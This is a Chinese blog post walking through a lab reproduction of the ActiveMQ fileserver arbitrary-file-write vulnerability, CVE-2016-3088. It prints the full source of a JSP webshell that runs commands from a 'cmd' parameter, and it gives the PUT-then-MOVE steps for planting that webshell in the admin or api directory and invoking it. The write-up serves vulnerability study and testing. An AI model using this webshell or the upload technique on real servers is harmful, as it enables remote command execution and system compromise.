ActiveMQ任意文件写入(CVE-2016-3088)

0x01漏洞概述

​ ActiveMQ Web控制台分为三个应用程序,admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是存储文件的界面;管理员和 API 需要先登录才能使用,文件服务器不需要登录。

​ fileserver 是一个 RESTful API 接口。我们可以通过HTTP请求(如GET,PUT和DELETE)读取和写入存储在其中的文件。设计目的是补偿消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:

(1)其使用率不高

(2)文件操作容易出现漏洞

​ 因此,ActiveMQ默认在5.12.x—5.13.x中关闭了文件服务器应用程序(您可以在conf/jetty.xml中打开它);在 5.14.0 之后,文件服务器应用程序将被完全删除。在测试过程中,要注意ActiveMQ的版本,防止无用的费力。

0x02漏洞详情

这个漏洞出现在Fileserver应用程序中,漏洞原理其实很简单,即fileserver支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要写入一个文件,然后通过使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。写入文件,如 cron 或 ssh 密钥

​ (1)编写 Webshell

​ (2)写入文件,如 cron 或 ssh 密钥

​ (3)编写库和配置文件,如 jar 或 jetty.xml

0x03漏洞环境

1、启动漏洞环境

2、查看漏洞搭建情况

http://your-ip:8161/

3、删除漏洞环境

docker-compose down

0x04 复现过程

1、访问fileserver路径

2、利用burpsuite工具抓包

3、发送到重发器,PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件。

.js文件如下:

<%@ page import="java.io.*"%>
 
<%
 
 out.print("Hello</br>");
 
 String strcmd=request.getParameter("cmd");
 
 String line=null;
 
 Process p=Runtime.getRuntime().exec(strcmd);
 
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 
 
 
 while((line=br.readLine())!=null){
 
  out.print(line+"</br>");
 
 }
 
%>

4、使用浏览器访问

http://your-ip:8161/fileserver/1.jsp

​ 通过上图可以看到,fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限。

5、通过浏览器访问ActiveMQ的绝对路径

http://your-ip:8161/admin/test/systemProperties.jsp

6、通过move的方法,将木马文件移动到api或admin

7、访问该路径

http://your-ip:8161/api/1.jsp?cmd=ls

显示该界面,则访问成功。

posted @ 2022-05-05 22:34  RichardYg  阅读(149)  评论(0编辑  收藏  举报